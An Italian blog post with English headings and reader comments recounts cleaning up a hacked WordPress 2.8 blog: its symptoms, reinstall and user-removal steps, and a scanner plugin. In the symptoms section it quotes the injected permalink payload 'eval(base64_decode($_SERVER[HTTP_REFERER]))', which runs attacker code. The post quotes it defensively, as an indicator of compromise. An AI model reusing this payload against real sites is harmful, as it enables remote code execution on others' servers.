How to clean an hacked wordpress blog
Dopo aver trascorso qualche giorno di vacanza, sono rientrato a casa, ed accendendo il computer dopo un breve periodo di inutilizzo, mi accorgo di un’amara sorpresa proprio in questo blog.
Workpress.net è stato colpito da un attacco hacker!
La colpa è sicuramente del mancato aggiornamento all’ultima versione del nostro amato Cms, prima di partire per le vacanze, lasciando quindi il blog vulnerabile ad attacchi esterni. Proprio pochi giorni fà era circolata la notizia delle falle di sicurezza nelle ultime versioni di Wordpress, prontamente corrette con la versione 2.8.4 del Cms.
Symptoms of an hacked blog
Mi sono accorto di essere stato attaccato, dalle statistiche del blog che vedevano una drastica riduzione delle pageviews. Controllando direttamente sul blog mi sono accorto che ogni link presente nelle pagine del blog puntava ad un redirect esterno, in particolare ai link presenti nel blog venivano inserita questa stringa:
%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929
Ovvero la struttura dei permalinks del mio blog veniva modificata con l’aggiunta dell stringa qui sopra.
Altri esempi di redirect:
- %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
- “/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
How can I clean my hacked blog?
Dopo una rapida ricerca sul forum di Wordpress e su Google, mi sono messo all’opera per eliminare potenziali infezioni dal mio blog.
Ecco un breve elenco delle operazioni da eseguire:
- Ho cancellato dal pannello di amministrazione un utente estraneo che aveva permessi da amministratore, creato ad hoc dall’attacco hacker, agendo direttamente dal pannello di phpMyAdmin (qualora non dovesse funzionare il comando delete dal pannello di controllo di Wordpress)
- Ho cancellato completamente i file di wordpress (escluso il file wp-config e la cartella wp-content)
- Ho scaricato l’ultima versione di Wordpress, la 2.8.4. e l’ho caricata con Ftp sul server.
- Ho eseguito l’accesso al blog ed aggiornato le tabelle del database come da procedura guidata indicata dalla nuova installazione.
- Ho cancellato e ricaricato il tema del blog sul server.
- Ho cancellato e ricaricato tutti i plugin installati sul blog.
- Ed infine ho cambiato la password di amministrazione del blog.
How to control if my blog was cleaned?
Cercando con Google casi analoghi ho trovato il blog di Donncha, sviluppatore irlandese di Wordpress, che metteva a disposizione un utile plugin per controllare lo stato di salute del vostro blog. Basta scaricarlo, installarlo ed attivarlo dal vostro pannello di controllo e potrete vedere se il vostro blog è stato ripulito per bene da codice malware.
Ecco il link per scaricare il plugin Exploit-scanner di Donncha. Scarica plugin
In conclusione voglio suggerire a tutti di impiegare un pò del proprio tempo per aggiornare prontamente la propria versione di wordpress installata nel proprio server, per evitare di venir attaccati e rischiare di perdere il proprio prezioso lavoro.
Prevenire è meglio che curare!
Related Posts :
- How to resolve a blank page in wp-admin wordpress blogPochi giorni fà mi sono trovato di fronte ad un problema insolito, cercando di ottimizzare un ...
- Free themes per Wordpress, attento agli spywareUltimamente sono sempre di più gli sviluppatori che permettono ai propri visitatori di scaricare ...
- Consigli per rendere il vostro blog wordpress più sicuroQuando un blog o un sito web in generale ha successo, diventa un bersaglio appetibile per hack ...
- Come installare Wordpress per creare un blogNel post precedente vi ho mostrato come caricare i file dell'ultima versione di Wordpress sul vo ...
- Rilasciata l'ultima versione di Wordpress, 2.7.1E' passato poco tempo dall'upgrade di Wordpress alla versione 2.7, che ha coinvolto gran parte d ...











I wasn’t hit because I always update whenever there is an update. My problem is that I don’t feel safe with these hackers trying to exploit wordpress so I’m very grateful for the plugin you recommended. Thank you.
come hai fatto a cancellare l’utente che aveva preso il ruolo di amministratore?
ho lo stesso problema…
@Jay
You are welcome!
I am happy to help someone :)
Ciao Antonio!
Per cancellare l’utente con i privilegi da amministratore io ho agito direttamente dal pannello di controllo di phpMyadmin.
Ti consiglio di fare lo stesso perchè molte volte dal pannello di controllo di Wordpress non riesci a cancellare il nuovo amministratore creato dal virus. Basta entrare nel pannello di controllo di phpMyadmin e controllare la tabella dedicata agli user, eliminando quelli di troppo!
Spero di esserti stato d’aiuto.
Torna a trovarci presto!
It is useful to try everything in practice anyway and I like that here it’s always possible to find something new. :)
ciao e grazie mille per l’articolo, molto interessante ed utile! :)
A chi servisse: su IPSafer ho trovato un’utile patch per proteggere Wordpress gratis da attacchi provenienti da ip dichiaratamente “ostili”. Può dare un po’ di respiro per installare e aggiornare il proprio blog! ;)
Leave your response!
Recent Posts
Translation
Discover new free tips
Categories
Pages
Keyword
Recent Comments
Most Commented
Partner